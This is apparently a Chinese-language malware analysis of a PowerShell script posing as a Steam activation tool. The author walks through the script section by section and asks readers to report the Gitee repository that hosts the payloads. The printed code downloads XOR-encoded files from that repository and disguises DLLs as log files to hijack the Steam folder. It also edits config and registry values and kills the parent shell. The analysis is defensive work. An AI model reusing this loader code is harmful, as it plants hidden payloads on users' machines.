详细代码分析与操作流程
1. 初始设置与权限检查
#Requires -RunAsAdministrator
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "SilentlyContinue"
# 检查管理员权限
if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') )) {
Write-Host " [STEAM] 请使用管理员模式运行" -ForegroundColor Red
exit
}
- 权限要求:强制要求管理员权限(SID S-1-5-32-544 = 管理员组)
- 错误处理:静默忽略所有错误(
SilentlyContinue),避免暴露问题
2. 关键文件下载操作
# 定义下载函数(含蓝奏云解析)
function Get-DownloadUrl {
# ... [蓝奏云解析逻辑] ...
return "$dom/file/$downloadUrl"
}
# 文件下载核心逻辑
function DownloadFile {
param([string]$url, [string]$savePath, [string]$hash, [string]$targetPath, [string]$fid)
# 哈希验证跳过重复下载
if ((Test-Path $targetPath) -and ((Get-FileHash -Path $targetPath -Algorithm MD5).Hash -eq $hash)) {
return
}
# 异或解密类定义
Add-Type -TypeDefinition @"
using System.IO;
public class XorUtil {
public static void XorFile(string p, byte key) {
var b = File.ReadAllBytes(p);
for(int i=0; i<b.Length; i++) b[i] ^= key;
File.WriteAllBytes(p, b);
}
}
"@
# 多源下载尝试
$urls = @()
if ($fid) { $urls += (Get-DownloadUrl -fid $fid) } # 蓝奏云源
$urls += $url # 备用Gitee源
# 带重试的下载
Invoke-WithRetry -ScriptBlock {
foreach ($url in $urls) {
try {
Invoke-RestMethod -Uri $url -Headers @{'Accept-Language'='zh-CN'} `
-OutFile $savePath -ErrorAction Stop
[XorUtil]::XorFile($savePath, 0x51) # 0x51异或解密
return
} catch { $err = $_ }
}
throw $err
}
}
3. 实际下载文件列表与参数
# 文件1:legit (未知用途)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/legit' `
-savePath "$env:APPDATA\Stool\legit" `
-hash '737F19DAB5306F42DDF2F57666A13FB1' `
-fid 'iEA2Q2xvugzi'
# 文件2:hid.dll (伪装下载)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/2/hid.dll' `
-savePath "$env:APPDATA\Stool\winhttp-log.txt" `
-hash '8AF54131FDCFF059BE41282A1BAF3FA5' `
-targetPath "$steamPath\hid.dll" `
-fid 'iDnrk2xvuh4d'
# 文件3:zlib1.dll (伪装下载)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/2/zlib1.dll' `
-savePath "$env:APPDATA\Stool\winhttp-log1.txt" `
-hash '822F765B45F77AE59E7C6091E69E3814' `
-targetPath "$steamPath\zlib1.dll" `
-fid 'ixoev2xvuh7g'
# 文件4:appdata.vdf (直接写入)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/2/appdata.vdf' `
-savePath "$steamPath\appcache\appdata.vdf" `
-hash '0921A94753C0BE443470AC52D17F313A' `
-fid 'iz5jW2xvuh5e'
4. 文件伪装与部署流程
# 文件重命名伪装(DLL → LOG → DLL)
if (Test-Path $savePathTxt) {
Move-Item -Path $savePathTxt -Destination "$steamPath\hid.log" -Force
Rename-Item -Path "$steamPath\hid.log" -NewName "hid.dll" -Force
}
# 清理冲突文件
foreach ($file in @("steam.cfg", "version.dll", "user32.dll")) {
$filePath = Join-Path $steamPath $file
if (Test-Path $filePath) {
Remove-Item $filePath -Force
}
}
# 修改Steam配置(强制在线模式)
$loginUsersPath = Join-Path $steamPath "config\loginusers.vdf"
(Get-Content $loginUsersPath -Encoding UTF8) -replace `
'("WantsOfflineMode")\s*("\d+")', "`$1`t`t`"0`"" | `
Set-Content $loginUsersPath -Encoding UTF8
5. 注册表修改操作
# 创建/修改注册表项
$registryPath = "HKCU:\Software\Valve\Steamtools"
if (-not(Test-Path $registryPath)) {
New-Item -Path $registryPath -Force | Out-Null
}
# 设置特殊值
Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null
if (Test-Path "env:c") {
Set-ItemProperty -Path $registryPath -Name "c" -Value $env:c -Type DWORD | Out-Null
}
- 注册表路径:
HKEY_CURRENT_USER\Software\Valve\Steamtools
- 特殊值:
packageinfo设为空字符串,c设为环境变量值
6. 进程管理逻辑
# 终止所有Steam进程(排除Steam++)
$runningProcess = Get-Process | Where-Object {
$_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+"
}
$runningProcess | ForEach-Object { Stop-Process $_ -Force }
# 进程终止等待(10秒超时)
$waitTimes = 10
while (Get-Process | Where-Object {
$_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+"
}) {
Start-Sleep -Seconds 1
if ($waitTimes-- -le 0) { break }
}
7. 自毁机制
# 关闭父进程(自毁)
$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"
while ($instance -and
($instance.ProcessName -eq "powershell.exe" -or
$instance.ProcessName -eq "WindowsTerminal.exe")) {
$parentProcessId = $instance.ParentProcessId
$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$parentProcessId'"
}
Stop-Process -Id $parentProcessId -Force
8. 下载文件验证表
| 文件类型 |
初始保存路径 |
最终路径 |
下载源 |
MD5 校验值 |
异或密钥 |
| 主程序 (?) |
%APPDATA%\Stool\legit |
未使用 |
hxxps://gitee.com/steam__run/aa/raw/master/legit |
737F19DAB5306F42DDF2F57666A13FB1 |
0x51 |
| hid.dll |
%APPDATA%\Stool\winhttp-log.txt |
[Steam]\hid.dll |
hxxps://gitee.com/steam__run/aa/raw/master/2/hid.dll |
8AF54131FDCFF059BE41282A1BAF3FA5 |
0x51 |
| zlib1.dll |
%APPDATA%\Stool\winhttp-log1.txt |
[Steam]\zlib1.dll |
hxxps://gitee.com/steam__run/aa/raw/master/2/zlib1.dll |
822F765B45F77AE59E7C6091E69E3814 |
0x51 |
| appdata.vdf |
直接写入 |
[Steam]\appcache\appdata.vdf |
hxxps://gitee.com/steam__run/aa/raw/master/2/appdata.vdf |
0921A94753C0BE443470AC52D17F313A |
0x51 |
9. 技术要点分析
-
蓝奏云解析技术:
-
安全规避手段:
- 文件扩展名伪装(.dll → .txt → .log → .dll)
- 异或加密传输(密钥0x51)
- 虚假安全提示:"已通过Windows Defender检测"
-
进程注入准备:
- 强制关闭Steam进程
- 修改关键配置文件(loginusers.vdf)
- 部署DLL文件到Steam目录实现劫持
-
自毁机制:
10. 后话
在文中找到了一个gitee仓库(hxxps://gitee.com/steam__run/ ),用于存放病毒文件,我已经发邮件反馈,大家也一起反馈一下,争取让仓库下架
风险总结:该脚本通过DLL劫持(hid.dll/zlib1.dll)和配置文件修改实现Steam激活绕过,使用多层伪装规避安全检测。部署的文件来源不可验证,存在安全风险。实际文件用途需进一步逆向分析,特别是legit文件和DLL文件的行为。